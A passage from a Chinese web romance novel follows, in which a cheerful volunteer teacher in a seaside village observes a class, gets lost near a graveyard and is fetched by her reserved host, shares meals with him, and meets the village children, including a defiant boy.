牧听语立刻弯下身子,从铁栏杆下面钻了进去,脚步有些欢快地奔向小楼。
?
刑泽不理解地皱着眉,用手轻拉了一下栏杆,栏杆立刻“嘎吱”一声打开。
他走了进去,把栏杆合上,迈步走向在小楼外面探头探脑的牧听语:“怎么不进去?”
牧听语压低声音:“里面在上课。”
透过模糊发黄的玻璃,能看到十几个年龄大小不一的孩子们挤在屋内。
老师是个年轻的青年,脸上青涩未退,白白净净的,笑容很有亲切感。他指着水泥黑板讲课,上面是一些简单的加减乘除算式,声音很耐心,底下应答的声音却寥寥无几。
小一点的孩子坐在凳子上歪着脑袋晃着腿,大一点的则自顾自玩沙包和小石头,整个教室里弥漫着无聊沉闷的气息。
刑泽高大的身影往旁边一站,屋内的孩子们立刻注意到了他,纷纷骚动起来。
牧听语隐约听到了好几句“阿泽哥哥”“阿泽哥哥来了”,孩子们显然有点兴奋,但又看起来有点怕刑泽,没有一个人敢凑到窗边来。
屋内的老师连忙擦了擦手上的粉笔灰,走出门来:“刑哥,你怎么来了?”
刑泽淡淡“嗯”了一声,把身体一侧,露出了后面的牧听语:“带她过来。”
老师愣了一下,然后“啊”了一声:“你就是新来的支教老师吧?”
牧听语笑眯眯地朝他挥挥手:“是呀,你好,我叫牧听语。”
“你,你好,”老师将手在衣服上擦了擦,似乎是想握手,但又觉得不太妥当,只得僵住了动作,结结巴巴道,“我叫庄任。”
牧听语冲他眨了眨眼,笑道:“不要紧张啊庄老师,我不是来抢你饭碗的。”
她是想缓和一下气氛的,谁知道庄任好像更紧张了,耳朵尖都红了起来:“没,没......你是来上课的吗?”
牧听语摇了摇头:“我想先了解一下孩子们的情况,嗯...方便我进去旁听吗?”
“可,可以的。”庄任有些羞赧地挠了挠头,看向刑泽,“刑哥,那你......”
“我还有事。”刑泽声音很淡。
庄任有些拘谨地说:“好的刑哥,那你慢走。”
刑泽朝他一点头,转身走了。
两人目送完刑泽的背影,庄任对着牧听语轻声解释了一句:“刑哥就是这种性格,对谁都这样的,你别介意。”
牧听语笑道:“嗯,我知道的。”
庄任脸又是一红,闷头走进了教室。
4. 迷路
牧听语刚进教室,十几双清澈的眼睛就像明晃晃的探照灯一样,一齐打在了她身上。
其中一个胆大的孩子开口:“你是谁呀?”
牧听语做了一个“嘘”的手势,神神秘秘地说:“我是下凡来历练的仙女呀。”
“真的吗?”另一个年纪大点孩子说,“我不信,你会魔法吗?”
“嗯......”牧听语装作苦恼地皱起眉,“下凡的仙女是不能随随便便用魔法的啦,不过......”
她在兜里掏了掏,掏出一把五颜六色的水果糖来,笑眯眯地说:“我可以变出糖果来哟~”
孩子们“哇”了一声,纷纷都围上来。
牧听语在每个孩子的手里都放了糖果,其中包括昨天见到的小男孩石头。
石头扭扭捏捏地站在最后面,等所有孩子都领完了,牧听语朝他招了招手,他才走上前来。
牧听语拉过他有些脏兮兮的手,冲他狡黠地眨了眨眼,悄声说:“又见面啦。”
他有些结巴:“牧、牧老师。”
牧听语张开手掌让他自己挑一个味道,他抿着嘴挑了一个橘子味的,然后把手缩到了背后。
“好了好了,大家坐回位置上。”庄任眼看着教室里蠢蠢欲动要闹腾起来,连忙出声主持纪律,介绍起“带头捣蛋”的牧老师,“同学们,这位是我们这学期新来的老师,以后会和我一起教大家读书!”
牧听语拿起粉笔在黑板上一笔一划写下自己的名字。
孩子们不认识“牧”字,于是一起拉长声音喊道:“听——”
他们“听”了半天,下一个“语”字也不怎么认识,于是都开始喊“听听老师。”
牧听语被逗笑了:“是牧老师啦,跟树木的木一个音,跟我念,牧老师!”
底下七嘴八舌地喊“牧老师”,还有依旧喊“听听老师”的。
牧听语觉得“听听老师”也挺好听的,就笑眯眯地一一应了。
为了方便工作,牧听语几乎带的全是简易方便的衣服,此时穿着素净的白T恤和浅色牛仔裤,不施粉黛,眉眼弯弯。
她是很爱笑的性格,笑容明媚但不张扬,像迎风飞扬的茉莉花。
庄任默默把“牧听语”三个字在嘴里无声念叨了几遍,耳根红了一片。
牧听语坐到了一旁的空椅子上,庄任接着刚刚讲课。
教室里的孩子们看上去都是六七岁的样子,有几个稍微大一点的,但也不会超过十岁,个个都是黑黝黝的肤色。
他们的衣服领口宽松肥大,几乎洗到发白,有些连胸口的印花都掉完了,脚上是旧凉鞋或者直接圾个脏兮兮的拖鞋。
牧听语示意第五个扭过头来看她的孩子认真听课。
加减法对于这群孩子的年纪来说不是超纲的题目,大一点的几个正常来说都已经学过方程式了,可他们的心思显然不在课堂上。
好不容易挨过半个小时,庄任也讲得焦头烂额,说休息一下。
孩子们立刻像长了翅膀的鸟,从门口窗口飞出教室,到门前门后的空地上凑成一堆堆,像变戏法一样从兜里变出了各种稀奇古怪的、牧听语叫不上名字的小玩意儿。
庄任走到她身边,苦笑着说:“孩子们学习积极性不怎么高,让你见笑了。”
“那有什么的,”牧听语看见几个小男孩蹲在窗边嘀嘀咕咕,好像是在看小虫子,她说,“小孩子不爱学很正常,我小时候也天天闹着要当山大王,被我妈追着揍。”
庄易表情很惊讶:“真,真的吗?看不出来啊。”
“看不出来吗?”牧听语收回视线,语气认真,“我小时候皮得就差上房揭瓦了,老师打电话跟我爸妈告状,说我在学校不好好学习,天天撺掇同学一起上树掏鸟蛋。我爸妈只好天天给我塞个水煮蛋去上学,让我别惦记树上的了。”
庄任没忍住笑了起来:“你爸妈也好有趣,听你的语气,你跟他们关系很好吧?”
牧听语看向窗外,语气里带着笑意:“是啊。”
她问:“你呢?你是村里人吗?”
庄任点点头。
“你怎么想到来教书的?”
“啊...这个说来话长了。”庄任挠了挠头,“从小我爸妈就特别坚持让我读书,说读书出人头地,可当时村里没有学校,他们就宁愿自己省吃俭用,也要往镇上学校塞钱把我送进去读。后来往外走一直读到了大学毕业,在城里找了份工作。可是工作没多久,我就知道我不想待在城里,我想回家,于是就把工作辞了回来了。”
“很没出息吧?”庄任语气非常不好意思,“我爸妈也不理解我,还跟我大吵了一架。”
“出不出息只有自己才说了算。”牧听语摇了摇头,视线落在门口的枝叶茂密的大树上,有两个小姑娘坐在树下的瓷砖上,头碰头在说悄悄话,“而且人又不是为了出息两个字活的,你来这里教书也不是为了有出息吧?”
庄任顺着她的视线看过去,“村里像我爸妈这么有思想的很少,他们都觉得读书没用,人能干活就好了。这里的小孩们长到十岁,就能帮忙干农活、赶海,十五岁就开始出海打渔,二十岁结婚生子。我是读过书的,所以我不想让落后的思想代代延续下去。”
他顿了顿,看向窗外的孩子们,语气有些惆怅,“不是说想让他们读到什么程度。只是,人总是要认点字、懂点道理,不能一直缩在井里。”
“你做得对。”牧听语肯定他,“而且你很有勇气,也很果断。”
庄任的脸唰一下红了。
她的手指有节奏地敲击窗台,语气有些俏皮:“别人可能不理解你,没关系啊。你自己觉得,你是在做有意义的事吗?”
庄任不敢抬眼看她,语气却很坚定:“嗯!”
“那就好啦,”牧听语很是欣慰,“人不就是为了这些莫须有的意义而活嘛。”
庄任终于感觉脸上的热意退了一些,刚想开口,却看见牧听语往门口走去。
他不禁开口:“你去哪?”
牧听语的背影兴冲冲的,声音轻快传来:“我去看看那棵树上有没有鸟蛋!”
.
傍晚下了课,孩子们搭上伴,从教室里四散而走。
“他们自己走回家吗?”牧听语好奇地探出脑袋。
“是啊,村里他们熟门熟路得很,从小玩到大的。”庄任用抹布擦着黑板,扬起一阵粉尘,“不过他们现在可不回家。”
牧听语看了看
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斜落的太阳:“到饭点了呀?”
“现在还早,村里都是等天黑才吃饭的。”庄任失笑道,“是不是有些不习惯?他们会去看退潮,然后在湿泥潭里捡点海螺、皮皮虾,运气好能捡到螃蟹。”
“这样啊......”牧听语摸着下巴若有所思。
不一会儿,庄任打扫完教室准备关门,她一边往外走一边掏出手机。
刚摁亮屏幕,一条新消息就跳了出来。
【X:吃饭。】
牧听语抬头看了看落日,天幕中光晕昏黄,太阳刚到山头,像冒油的咸蛋黄。
她摸了摸肚子,低下头打字。
【不听:好的!我准备回来了!】
那边没有再回复。
牧听语跨上自行车,挥手和庄任告别。
庄任是走路来的,他看了一眼自行车问:“牧老师,你现在是住在刑哥家里吗?”
牧听语:“是啊。”
“那你认识回去的路吗?要不要我送你回去?”
“不用!”牧听语一摆手,“我记得。”
她来的时候特意记了路的!
庄任没有再坚持,挠了挠头说:“好...那你路上小心。”
牧听语凭借着记忆里的路线,在四仰八叉的乡间小路中挑了一条,自信地骑上了返程的路。
很快,她“嘎吱”一声停在了一棵陌生的大树下面,茫然地看着四周。
为什么会有这么多条岔路口?!
她记得来的时候没有这么多啊!
她犹犹豫豫地挑了一条似乎比较眼熟的路,往前骑了一段,周围的景色越来越陌生,路也越来越狭小,她只好停下。
好像要骑到别人家里去了。
她又原路返回,结果来到了一个更偏僻的地方,四周一个建筑都没有,只有茂密的树丛层层叠叠遮挡视线。
牧听语站在原地凌乱。
靠,她好像迷路了!
她当机立断,掏出手机喊救兵。
X的聊天框安安静静的,牧听语手指一动,直接拨了个语音电话过去。
过了几秒,电话被接起,传来刑泽低沉的声音:“怎么了?”
“对不起刑泽,”牧听语立马先道歉,声音很诚恳,“虽然我真的不想麻烦你,但是你可以来接我一下吗,我,呃,我有点迷路了。”
“......”那边沉默了几秒,“你在哪?”
“我......”牧听语难得卡词,四周看了看,诚实道,“我不知道。”
“......”
牧听语生怕对面一气之下直接挂掉,连忙补充:“我不是故意的,回去的岔路口太多了,我记混了,现在不知道骑到哪条路上来了,就是周围树很多,嗯...咦,那边好像有一块坟地。”
牧听语停下车,走近几步,透过树干与杂草的空隙看去,那边影影绰绰竖着不少石碑。
她用手拨开杂草,往前迈了一步,底下的土很软,她的脚往下陷了一下,声音也抖了一下:“是...坟地,有挺多墓碑的好像.....”
刑泽突然说:“知道了,站在原地别动。”
闻言,她听话地把脚收了回来:“好的。”
5. 夜访
挂断电话,牧听语回到了自行车旁边,低头看着手机。
微信里的消息一直叮叮当当乱跳,乱七八糟,她一概不看,艰难在一众红点里扒拉出了蒋初的微信。
最近一条消息是她昨天半夜发来的:“你人呢!”
她简略翻了翻上面的记录,打字回复:“对不起啦初初,我昨晚睡得好早哦,今天又没看手机。”
那边秒回:“大小姐你终于舍得回我了,我找你半天!还以为你跑哪个没信号的犄角旮旯里被抓走当苦力去了!”
牧听语哒哒打字。
【不听:啊啊啊!我真的刚刚看到你的消息啦!】
【不听:[小猫可怜.]】
【A.漫野画室:说吧,这回去哪了?】
【不听:我在海底和派大星玩。】
【A.漫野画室:呵呵。】
【A.漫野画室:你到底有没有看到我上面发的消息!!!!!!】
牧听语缩了缩脖子。
【不听:看到了嗷嗷嗷!!!但初宝我最近可能没空画画呀......】
【A.漫野画室:你在珠穆朗玛峰还是马里亚纳海沟?就算你在叙利亚也得画!人家客户等着呢!】
【不听:人家在支教啦。】
蒋初发来了一连串问号,接着直接弹来一个长语音条。
她咆哮道:“你去干嘛了你再说一遍——?!支教?你好端端跑去支教干嘛?!你平常跑东跑西跟我说找灵感就算了,支教这种吃力不讨好的事你也要掺和一脚我看你真是太闲了!!是不是我平常给你接的单子太少了!直视我崽种!!!”
哇呜......
牧听语眯起一边眼睛,揉了揉受到魔音摧残的耳朵。
没等她回复,那边又发来。
“我跟你说,这次的客户排了半年的队,就是为了等你一幅画,你要是敢把我鸽了我就跟你没完!!!!!”
【不听:[小猫对手指.]】
【不听:可不可以跟他商量一下呀,再等个两个月什么的......】
【A.漫野画室:牧听语!!!!!!!!!】
蒋初用一长串感叹号表达自己的愤怒。
牧听语心虚地摸了摸鼻子。
她这次来就是故意没和蒋初说,否则按照她那个性格,非得从杭城跑过来暴揍自己......
她正苦恼怎么回复,前方小路传来一阵自行车轮滚过地面的声音。
她抬头,看到了一道熟悉的身影。
咦。这么快?
经这么一折腾,天色已经渐渐暗了下来,太阳大半沉入山间,树林中变得有些昏暗不清。
刑泽停在她面前,长腿支在地上,没说话。
牧听语心安理得把手机往兜里一塞,上前两步,脸上带着讨好的笑容:“嘿嘿,你来得这么快呀,不好意思给你添麻烦啦。”
刑泽的眼神往不远处的坟地飘了一下,又落回牧听语脸上,沉默地看了她两秒,似乎是在观察她的表情。
“嗯?”牧听语歪了歪脑袋。
刑泽倏地收回视线:“没事,走吧。”
牧听语本以为刑泽是做好了饭在家等自己,没想到回家一看——灶台开着很小的火,菜板上还有菜没下锅,厨具有点凌乱,显然是做饭做到一半就被喊走。
刑泽洗了手,拿起铲子翻了一下锅里炖着的东西。
牧听语有些心虚,凑到灶台边客客气气地道歉:“不好意思呀,害你做饭做到一半来接我,晚上我帮你洗碗。”
刑泽关了火,抄过一旁的瓷盘,把锅里的东西盛了出来,淡声说:“没事。”
牧听语本想再说什么,视线却被瓷盘上色泽诱人的食物给吸引过去。
那是一盘酱汁浓稠的红烧肉,琥珀色晶莹透亮,如同裹上一了层玻璃糖衣,那甜津津、油亮亮的外表仿佛在无声宣告着它入口即化的美味。
她无意识地吸一口气,一股甜咸交织的美妙气味蹿进鼻腔。
刑泽瞥到她的表情,似是有些好笑,把盘子塞进了她的手里。
一道颤巍巍的声音响起:“有、有米饭吗......”
“有。”刑泽把锅放进水槽涮了一下重新架回灶台上,头也不回地说:“电饭煲里有米饭,你先吃。”
牧听语喜极而泣地把盘子端到桌上,再依依不舍地凑回了灶台边。
见刑泽投来目光,她一本正经地解释:“做饭的人还没上桌,是不能动筷的。”
刑泽移开视线,伸手拿过沥水篮里的丝瓜倒进锅里,水汽和油接触冒出滋滋响声,在白色水雾的掩盖中,他微不可察地弯了下嘴角。
不一会儿,剩下的一菜一汤也终于上桌,刑泽坐下,面前整整齐齐摆着盛好的米饭和筷子勺子。
他迎着目光炯炯的视线,伸手夹了一筷子空心菜。
见他终于动筷,牧听语迅速夹了一块红烧肉放在了米饭上。
红烧肉!就是要配上米饭啊!
她满意地点了点头,往嘴里塞了一口沾染汤汁的米饭,再咬了一口肉。
好吃得她差点掉下眼泪来。
红烧肉果然不负所望,虽然有些微冷,但外皮变得更加软糯弹牙,瘦肉酥而不柴,满口都是丰腴的肉香。
她拿起勺子,喝了口丝瓜蛋花汤。
里面还放了虾,汤汁浓郁鲜美,丝瓜也是微焦的,咬起来嫩脆。
几口暖暖的汤下肚,牧听语满足地眯起了眼睛。
“真的很好吃。”她真心诚意地夸赞道。
经这么一遭,她已经彻底折服,自己那点三脚猫的厨艺放在这里根本不够看,先前那些自己做饭的念头已经统统被她扔到了脑后,现在只想保住自己长期蹭饭的席位。
她本不想刑泽会有什么回应,没想到刑泽“嗯”了一声。
咦。
她抬头看去,刑泽眉眼舒展,似乎心情不错。
夸人牧听语最擅长了,她乘胜追击:“你以前当过厨师吗?感觉比餐厅里做的还好吃。”
“没有,自学的。”
她立刻说:“那你真的好有天赋呀,我也是自学的,但比你的水平差好多哦。”
刑泽说:“菜冷了,快吃。”
“哦。”
过了一会儿,她又从饭碗里抬起头:“你今天怎么突然烧红烧肉了呀?下午猪肉贩子来啦?”
刑泽吃饭快,碗中已经见了底,闻言淡淡扫了牧听语一眼:“没有,我去镇上顺便买了些。”
牧听语看着他起身添饭的背影:“你下午去镇上了呀?镇上远吗?”
“不远。”
牧听语在心里默默琢磨了一下,见刑泽添完饭回来,开口道:“你下回去镇上可以带我去吗?我想买点面粉。”
刑泽抬起眼。
“嗯...我想包点饺子。”
其实是她不好意思这样一直白吃饭。想付房租也付不出去,转钱不知道刑泽会不会收。
牧听语准备这两天看看他家里缺什么东西,她去添点。
刑泽没多问,说了声“行”。
吃完饭,牧听语强硬地从刑泽手里抢过碗筷,表达了自己一定要洗碗的决心。
刑泽由她去,来到门口给小狗倒狗粮和奶。
小狗的尾巴快摇成螺旋桨,欢快地蹦跶过来蹭刑泽的鞋子,张嘴咬了咬鞋带。
刑泽轻轻动了动,用干净的鞋面掀开小狗,低声说:“吃饭。”
小狗呜咽一声,乖乖凑到饭碗前面。
添完粮,刑泽把门口停着的两辆自行车整齐摆到墙边,然后拎上锄头去后院田里翻了翻土。
天色已经全暗了,乡野里传来青蛙和蛐蛐的细微叫声,刑泽借着厨房的灯光拔了两根杂草,站起身,透过玻璃看向水槽边洗碗的女孩。
她的动作利落伶俐,看起来很熟练,旁边摞了一叠干净的碗筷,应该是在刷锅了。
她身上白色T恤干净清爽,一侧扎着松松的麻花辫,看起来非常青春活力,脑袋还快乐地摇摇晃晃,似乎是在哼歌。
吃到好吃的高兴,洗个碗也高兴,像小孩一样。
刑泽回想起饭桌上她眯起眼睛像饱食猫咪的小模样,嗤地笑了一声。
他把杂草往田野里一丢,回到了前门。
他刚想把唏哩呼噜吃完饭的小狗拎进门,一道声音突然响起。
“刑、刑哥。”
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>刑泽转过头,眯起眼看向来人。
庄任站在不远处。他不常来刑泽家里,语气里明显带着拘谨:“刑哥,晚上好。”
刑泽淡淡应了一声:“嗯,什么事。”
庄任示意了一下手上拎的大袋小袋:“我妈让我送点东西过来,谢谢你上回帮我家搭围栏。”
刑泽一摆手:“不用。”
“要的。”庄任坚持道,“刑哥你别推辞,我妈妈说一定让你收下,不是什么好东西,就一点海鲜还有一篮鸡蛋。”
刑泽不爱拉拉扯扯,见推不过便伸手接了下来:“替我谢谢阿姨。”
庄任知道他的脾气,笑着“嗯”了一声,然后站在原地,似有些踟蹰。
见刑泽拎起小狗要走,他有些不自然地开口:“刑哥,那个...牧、牧老师在吗?”
刑泽动作一顿,掀起眼皮朝他看去。
庄任的脸有些红,眼神中闪着羞涩的光,在夜色里不甚明显。
刑泽站在门口,背着光看不清楚神情,只是一点头。
庄任不好意思地笑:“刑哥,可以帮我喊她一声吗,我、我找她。”
刑泽瞥他一眼,扔下“等下”俩字进了屋。
牧听语刚洗完碗在擦桌子,见刑泽拎着东西进来,有些好奇问道:“这是什么呀?”
刑泽俯下身,把海鲜装进冰箱下层的冷冻层,声音淡淡传来:“庄任送来的。”
牧听语“哦”了一声,视线在刑泽优越的背部肌肉线条上流连了一下。
刑泽直起身关上冰箱门,牧听语连忙低头,继续心无旁骛地擦桌子,只听他说:“庄任找你,在门口。”
哎?
牧听语愣了一下,应道:“好的。”
她不知道庄任找自己什么事,连忙把桌子擦完,洗手出了厨房。
刑泽瞥了眼她的背影,拎起水龙头上挂的洗碗布,沾上水又擦了遍桌子,再把水槽边的水都刮干净,最后擦了擦灶台。
他关了厨房的灯,屋里的光源便只剩下大门边昏黄的小灯,隐约能看见牧听语站在门外和庄任在讲话,声音不大,听不太清在讲什么。
小狗先前被他关进了笼子,现在有些不太安分地用爪子挠着铁杆,发出“哗啦哗啦”的声音。
刑泽走过去蹲下,低声对它说:“不要闹。”
小狗“呜呜”叫了两声。
门外两人似乎在讲什么有趣的事,牧听语清亮的笑声传来。
刑泽垂眼看小狗闹了一会儿,伸手打开门,把它放了出来。
它蹦跶出来打了个滚,蹭了蹭刑泽的裤脚,迈开小腿往门口奔去。
门口很快传来声音:“小雨你怎么出来啦?......哎...别咬我鞋带!”
牧听语哭笑不得地抱起小狗,对庄任说:“情况我大概了解啦,明天就可以来上课。”
庄任连忙摆手:“不着急不着急,牧老师你可以再准备准备......”
“好的,其实我来之前就准备了一些。”牧听语笑道,“只不过孩子们的情况和我想象的又不太一样...哎别咬我手......”
小狗用毫无杀伤力的犬牙磨了磨牧听语的手指,抬起一双湿漉漉的眼睛看着她,轻轻“汪”了一声。
牧听语低下脑袋和它对视:“咋啦?刑泽饿着你啦?”
小狗又舔了舔她的手。
“难道真饿了......”牧听语嘟囔一声。
庄任连忙说:“我也该回去了,牧老师你早点休息。”
“好,天黑路上小心。”
牧听语对他礼貌一笑,转身进屋。
一抬眼,和站在狗笼旁边的刑泽对视上。
“......”
屋内昏暗,刑泽抱着双臂站在黑暗中,人高腿长显得很有压迫感,脸上神色不明。
不知道为什么,牧听语突然有一种干坏事被抓包的感觉。
她连忙扬起笑容,正准备开口,背后突然传来庄任带着点紧张的声音。
“牧、牧老师,可以加一个你的微信吗?”
牧听语神情滞了一下。
因为在那句话落下的瞬间,她看到刑泽微不可察地眯了一下眼睛。
6. 早餐
牧听语顶着那道存在感很强的视线转过身,掏出手机:“我扫你。”
庄任加完好友,兴高采烈地走了。
身后传来笼子碰撞的“哗啦”声。
牧听语回头进屋,见小狗扒拉着笼子边缘,可怜兮兮地叫着。
“它是不是饿了,你给它吃饭了吗?”
刑泽关上笼子的门,侧脸看向她:“二十分钟前它刚吃过,我给了比平常多三分之一的量。”
牧听语挠了挠脸颊:“那,为什么关着它呀,看上去挺乖的。”
“乖?”刑泽站起身,眉眼下压,“它会去翻厨房垃圾桶,爱咬米袋,喜欢扒拉角落里的灰,乖什么?”
牧听语闭上了嘴。
她觉得刑泽现在的心情似乎不太美妙,至少和吃饭那会儿比,不太美妙。
她犹豫了一下,开口:“庄任找我说了些学生们的事,就多聊了一会儿,你可以先上去呀,我会关大门的。”
刑泽不答,迈步走过去关上门,“铛”一声上了锁:“要锁。”
牧听语:“锁门而已难道我还......”
然后她看见刑泽从兜里拿出钥匙插进了锁孔里。
牧听语:“......”
她抬起头疑惑地环顾四周。
这房子里难道有什么值钱东西吗,为什么安全工作要做这么严?
“走了。”刑泽神色淡淡地掠过她。
“唔。”牧听语应了一声,跟在他身后上了楼,目光有些探究地落在他的背上。
所以他为什么心情不好?
难道是因为她碗没洗干净?
她当时还以为庄任找自己有什么急事,只顾着擦完桌子就走了,好像确实忘记看灶台脏不脏。
牧听语这么一想,顿时心虚起来。
说要打下手,结果睡到日上三竿,说要洗碗,结果又没收拾干净。
她在刑泽心中还有好形象吗?
哎,要不明天他做饭的时候再多夸夸他吧,感觉他还挺爱听的。
她苦恼地摸了摸耳朵,看着刑泽往三楼走的身影,随口说了句“晚安”。
刑泽脚步一顿,朝下看去,见牧听语低着脑袋走进房间,“啪”一声关了门。
“......”
.
为了一雪前耻,牧听语特地定了早上七点的闹钟,闹铃一响,她就一骨碌爬了起来。
楼上静悄悄的,应该是还在睡,她轻手轻脚洗漱完,猫着步子下了一楼。
她之前观察过厨房,知道东西都放在哪里。
一个小时过后,她看着锅里“嘟噜嘟噜”的青菜瘦肉粥,满意地点了点头。
她还在冰箱里翻出了一袋速食叉烧包,顺手给蒸了。可惜没有面粉,不然还能自己做包子。
牧听语的厨艺虽然没到刑泽那个境界,可是做面食还是很拿手的,什么包子饺子馒头煎饼通通不在话下。
至少刑泽包饺子的速度肯定不如她!
她给自己舀了碗粥,再咬了一个叉烧包,正准备在餐桌坐下,大门突然开了。
她吓得手一抖,赶紧把碗放稳,朝门口看去。
外面阳光灿烂,透过大开的门照射进屋内,刑泽逆着光站在门口,一身黑色的运动服,脑袋上还搭着一条白色毛巾,像是刚刚运动回来。
牧听语嘴里还叼着叉烧包,反应了几秒,连忙用手拿住,含糊不清地开口:“你怎么从外面回来?”
刑泽发丝中还带着水汽,眉眼乌黑隽朗,闻言一挑眉:“不然该从哪回来?”
在房间里睡大觉,睡醒下楼看见我起大早含辛茹苦做的早饭,对我进行大肆表扬并承认我的勤劳。
牧听语默默腹诽,兴致消了一大半,拿起勺子戳了一下粥。
刑泽走进厨房,似乎也觉得眼前的场景有些新奇,问道:“你起这么早?”
牧听语低头喝了口粥,闷闷地说:“嗯,还做了早餐,你正好来吃。”
刑泽走到灶台前,掀开锅盖,锅里的粥还冒着热气,青菜碎和肉丁掺在其中,看上去很有食欲。
他垂下眼,嘴角牵起一丝笑意。
刑泽坐下喝了口粥,牧听语见他一言不发,不死心地问:“好喝吗?”
刑泽抬起头,对上了她亮晶晶的眼睛:“......嗯。”
牧听语见他不似在说假话,勉强用这个“嗯”字安慰了下自己。
为了熬浓稠些,她还特地多煮了会儿,眼巴巴地站在灶台前盯着,免得一不小心烧糊了。
除了青菜粥,她还会皮蛋瘦肉粥、番薯粥、绿豆粥......待她收集完食材,一定要向刑泽展示一下她五花八门的食谱,让他真心实意地开口夸自己。
刑泽说:“下回我做就行了。”
牧听语敏锐抬头:“你觉得不好吃?”
刑泽神情难得有些变化,似是无奈:“...没有。”
牧听语嘟囔一声:“那你抢着做。”
女孩的发顶蔫蔫的,刑泽只好说:“我每天都晨跑,结束后正好做早饭。”
牧听语问:“你几点起来的?”
“六点。”
每天跑两个小时,真是自律。
牧听语往他那边瞥了一眼。
刑泽穿的运动服是偏紧身的,黑色的弹性布料把他的宽肩窄腰勾勒得分外明显,身材比牧听语画过的一些人体模特还好。
她赶紧移开视线,没吭声。
闷头喝了几口粥,又听刑泽问:“等会儿去上课?”
“去。”
“几点下课?”
“唔?”牧听语抬起脑袋,“我忘记问了。”
刑泽刚想说什么,她抽了一张餐巾纸擦了擦嘴,声音清亮:“不好意思,你就按照你的饭点来吧,我要是没回来就帮我保温一下,谢谢你啦。”
刑泽动作一顿:“认识路么?”
“认识的!”牧听语几口把粥喝完,站起身把自己的碗筷拿到水槽边,大声保证,“这次我绝对不会迷路!不会让你来接的放心吧!”
刑泽侧过身看她。
牧听语迅速地洗完自己的碗筷,甩了甩手上的水珠,冲他一笑:“我走啦!”
刑泽慢慢“嗯”了一声。
.
这群孩子比牧听语想象中的更加有个性。
她来之前做了功课,带了一些文具和有趣的图画本送给他们,本意是提高学习兴趣,可他们貌似对做手工活更感兴趣。
课上到一半,她带来的其中一本图画本就已经分崩离析,成为他们手上各式各样的折纸,崭新的橡皮也被尺子切成各种奇形怪状的模样。
课间,牧听语蹲下身,看着一个小男孩手里脏兮兮的小玩意儿,好奇问道:“这是什么?”
男孩摊开手
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,让她能够看清楚:“宝剑。”
牧听语捏起那个还没她拇指大的宝剑,依稀能辨认出它的原形是一块浅黄色橡皮。
她没忍住笑起来:“好厉害,这么短时间就能做出一把宝剑。”
男孩攥着他磨了很久的橡皮宝剑,不好意思地搓了搓鼻子:“真的吗?”
牧听语认真地点了点头。
“牧老师,你好奇怪。”
“哎?”牧听语奇道,“怎么奇怪啦?”
“你和爸爸妈妈,和庄老师,不一样。他们说我贪玩,不好好学习。”
“我不奇怪,爸爸妈妈和庄老师也不奇怪。”牧听语笑眯眯地喊他名字,“鹏鹏,我们都想让你快乐呀。”
鹏鹏鼓起脸:“可我不想学习,学习不快乐。”
牧听语认真问:“那你以后想干什么呢?”
“想玩。”
“除了玩呢?”
他脸上有些迷茫:“不知道。”
这时又有几个小孩凑了过来,本来是想喊鹏鹏一起玩,结果听完牧听语的问题后全部陷入了思考,一个个蹲在墙角,像一堆小蘑菇。
庄任好奇地从窗户探出脑袋:“孩子们,干嘛呢?”
牧听语也蹲着,仰头笑道:“我们在讨论——以后想干什么。”
“哦哦,”庄任挠了挠头,“讨论出什么结果了吗?”
“还没有呢,”牧听语故作严肃,“这可是个很难回答的问题,让我们多思考一会儿。”
庄任笑了起来,和他们一起戳在墙边,看着他们头碰着头嘀嘀咕咕。
一个怯生生的声音突然响起:“我、我以后想当老师。”
众人转过头,一个看上去只有七八岁的小姑娘站在不远处,眼神小心翼翼的。
“为什么想当老师呀?”牧听语饶有兴致地问她。
“因为、因为我喜欢牧老师,牧老师很漂亮,很好,我想和牧老师一样。”
小姑娘声音糯糯的,穿着旧旧的碎花裙子,眼睛又大又明亮。
牧听语朝她张开手,她立刻笑起来,贴了过来。
“你想成为我这样的人吗?”牧听语亲昵地摸摸她被海风吹得有些黝黑的小脸。
小姑娘认真地点了点头:“牧老师给我们带画画本,我喜欢画画。”
“唔,你喜欢画画呀,”牧听语说,“那你想不想成为一个画家呀?”
“画家是什么?”
“画家就是.......每天画很多很漂亮的画,想画多少就画多少,有很多人会喜欢你的画。”
小姑娘眼睛里冒出憧憬的小亮光:“那我想当画家!”
“嘿嘿。”牧听语又为绘画界拐来一个小信徒,颇有些得意,“牧老师也会画画哦,下次教你,好不好?”
“好!”
旁边蹲着的孩子们也凑了上来,开始七嘴八舌地讲,牧听语把耳朵分成八瓣听,很快就收集到了无数句稚嫩又有趣的话语。
这时,远处传来一声冷哼:“讲什么梦想,幼不幼稚啊,之后还不是得下地干活。”
牧听语一挑眉,抬头看去。
一个看上去年纪大一点的男孩子抱着双臂站在墙根处,神情冷酷又不屑,仿佛在蔑视所有蹲在那叽叽喳喳的小孩。
哦豁。
牧听语眼睛亮了起来。
这难道就是传说中的刺头吗?
7. 好奇
牧听语只用了一秒种就接受了这道无形的挑战书,兴致勃勃地站起身走到他面前。
男孩十分警惕地退后了一步,仿佛来的是什么洪水猛兽。
牧听语长得唇红齿白,笑起来格外讨人喜欢,从来都是孩子群中的香饽饽,很少遇到有人对她表现出这幅神态。
她笑眯眯地开口:“你叫什么呀?几岁了呀?”
男孩瞪着眼睛:“为什么告诉你?”
“哦~不告诉我呀?"牧听语伸出一根手指摇了摇,笑道,"那你昨天有没有拿我的糖呀?吃人嘴软哦。”
“......不就是一颗糖,谁稀罕!"男孩愤哼了一声,猛地从兜里掏出一颗水果糖扔给了她,“还给你!”
牧听语伸手接住,惊讶了一瞬。
昨天孩子们拿到糖,几乎都是当场拆开吃掉了,他竟然还留着。
庄任的声音从身后传来:“余力,不能没有礼貌!”
他快步走上前:“牧老师不好意思,这孩子野惯了。”
牧听语表示自己不介意,冲着男孩余力挥了挥手中的糖,问:“怎么不吃呀,是不喜欢这个味道吗?”
余力“哼”了一声,不接话。
“他就是嘴巴硬,”庄任蹲下身拉住他的手,“阿力,牧老师是很远的地方过来免费教大家读书的,她很辛苦,所以不可以对她没礼貌,知道了吗?”
余力还是犟着不吭声。
牧听语手肘搭在膝盖上,托着下巴问:“为什么不吃我的糖呀,阿力?”
余力盯着她,突然开口:“你干嘛一直笑?”
“哎?”牧听语一脸惊讶,“不喜欢我笑吗?我笑起来不好看吗?”
余力用脚尖捻了捻小石子:“......不好看。”
庄任连忙道:“阿力,胡说什么!”
牧听语神情认真起来:“你是第一个说我笑起来不好看的人,我记住你了。我决定今晚回去照镜子再练练,明天会笑得更好看的,你明天下课后别跑,记得评价一下。”
